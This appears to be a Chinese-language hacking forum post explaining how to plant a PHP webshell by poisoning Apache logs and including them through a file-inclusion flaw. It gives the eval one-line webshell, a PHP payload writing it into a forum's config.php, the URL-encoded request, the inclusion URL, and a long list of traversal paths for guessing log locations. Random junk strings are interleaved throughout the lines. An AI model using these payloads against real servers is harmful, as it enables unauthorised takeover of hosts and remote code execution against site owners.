php包含apache日志写马

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因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
& Z9 \% Y8 {7 _0 D3 Z! ?2 [3 }  w<?eval($_POST[cmd]);?>   

7 Q" m6 W% X; ^% b1 o0 [到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
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<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
- N& ^% x9 ~2 y; p4 K%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
- Z  q- D3 S7 y7 bconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
1 ~: d. D( i, p* z3 v! l. zfclose%28%24fp%29%3B%3F%3E
2 B& o+ g( \2 d# w. c我们提交
/ i+ A6 y( |$ C+ \http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
1 ~/ Z+ i0 e3 e! b) w: V  D2 q; P%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
& a$ Q& J( ~: i" r# J%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
2 P+ _4 r6 J# _
; q- W5 D. l" w" [4 |; _1 Z0 A, x这样就错误日志里就记录下了这行写入webshell的代码。
9 ?2 m4 x9 ~$ C$ `" O6 k) A. t我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
3 E) u) w9 ]# }( h' U) Z' f8 b
这样webshell就写入成功了，config.php里就写入一句木马语句
$ q6 g+ e0 t8 F/ aOK.
; {% ?6 M7 K% i, a: V  q* _" N) Whttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
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& s7 q; v; M$ |% QPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
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1 J5 o$ B" O) z: o其他的日志路径，你可以去猜，也可以参照这里。
# h1 l: d! @% J. {) F  o../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
5 u! d2 P& F: a- E, S1 E5 w../../../apache/logs/error.log
- ?7 n( R! v: K( @7 ]1 `  o../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
' H( [5 e3 d) S6 H' W../../../../../../../../../../etc/httpd/logs/error_log
/ p' \  Z6 A* S* t../../../../../../../../../../etc/httpd/logs/error.log
* R" C& p2 J; ^* Q5 c../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
+ [  K' u% Q  b6 J. Y../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
( m6 T) Z1 }" v! ^: Q" M( ~7 s! c7 f& |5 |../../../../../../../../../../var/log/apache/access.log
4 R! G+ w1 I/ I- H' P$ r../../../../../../../../../../var/log/access_log
- h: q* u7 v6 G+ _. ?../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
' D- ^6 p0 Q4 {../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
) M/ C. [6 ^2 [) R9 y; ~1 u2 X../../../../../../../../../../var/log/apache/error.log
8 h& F) s, d; Q( H* `8 A3 H../../../../../../../../../../var/log/access_log
' s  w0 u# X6 d$ q* m../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
, y) Q+ }# E2 }% L& N4 i8 ^0 O" [../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
: p/ l; Y) {7 R( d2 e& S../../../apache/logs/error.log
: o. b3 g& b3 _, ]) x6 S; N../../../apache/logs/access.log
2 t, h! c9 `9 L- W' }# s7 ]( c" M/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
( ~* k; n) Y( k0 _" x( W. v/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
2 |/ B. q. _9 {8 b) O2 h) Z5 s" G4 m/var/www/logs/access_log
/var/www/logs/access.log
; z  D: L/ N3 ]5 E8 C: c/usr/local/apache/logs/access_log
3 l5 o8 G% b1 _9 r0 q: m/usr/local/apache/logs/access.log
" X$ v/ d: X& T4 S/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
. q& U3 B0 Y# U9 s/var/www/logs/error_log
% Y0 F& j& A3 g  p& F' {/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
8 g4 R: B( ^1 q% p/var/log/apache/error_log
/var/log/apache/error.log
5 D# @: [1 ?: G! G1 M$ o/var/log/access_log
& M/ I7 ?% Y" l" `1 q  z/var/log/error_log